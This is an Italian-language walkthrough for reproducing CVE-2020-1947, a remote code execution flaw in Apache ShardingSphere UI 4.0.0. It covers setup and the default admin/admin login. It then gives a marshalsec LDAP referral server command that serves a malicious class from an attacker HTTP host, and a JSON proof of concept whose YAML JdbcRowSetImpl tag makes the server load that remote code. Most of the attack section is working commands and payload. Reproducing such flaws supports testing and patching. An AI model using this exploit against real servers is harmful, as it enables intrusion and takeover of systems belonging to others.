CVE-2020-1947 Apache ShardingSphere UI – Riproduzione della vulnerabilità di esecuzione di codice remoto nell'analisi YAML

0x01 Scaricare il pacchetto binario di shardingsphere

wget https://mirror-hk.koddos.net/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz

Decompressione

[root@kali]# tar -xf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz 
[root@kali]# ll
total 23064
drwxr-xr-x 6 root root      103 Feb 28 15:23 apache-shardingsphere-incubating-4.0.0-sharding-ui-bin

Entrare nella directory del programma ed eseguirlo

[root@kali]# cd apache-shardingsphere-incubating-4.0.0-sharding-ui-bin
[root@kali]# bin/start.sh

sharding-ui è un programma springboot standard; è possibile configurare le relative impostazioni tramite conf/application.properties

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server.port=8088

user.admin.username=admin
user.admin.password=admin

Porta, nome utente e password possono essere modificati qui

0x02 Configurazione e utilizzo

Inserisci l'indirizzo IP:8088 del server su cui hai effettuato il deployment per accedere all'interfaccia di gestione.

Il nome utente e la password predefiniti sono: admin/admin

L'indirizzo del centro di registrazione è l'indirizzo zookeeper, formato: 127.0.0.1:2181

0x03 Invio dei dati per la RCE

ldap

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.10.20.166:8000/#ExportObject

http://10.10.20.166:8088/api/schema

Poc:

{
  "name": "CVE-2020-1947",
  "ruleConfiguration": "  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5",
  "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/ExportObject\n  autoCommit: true"
}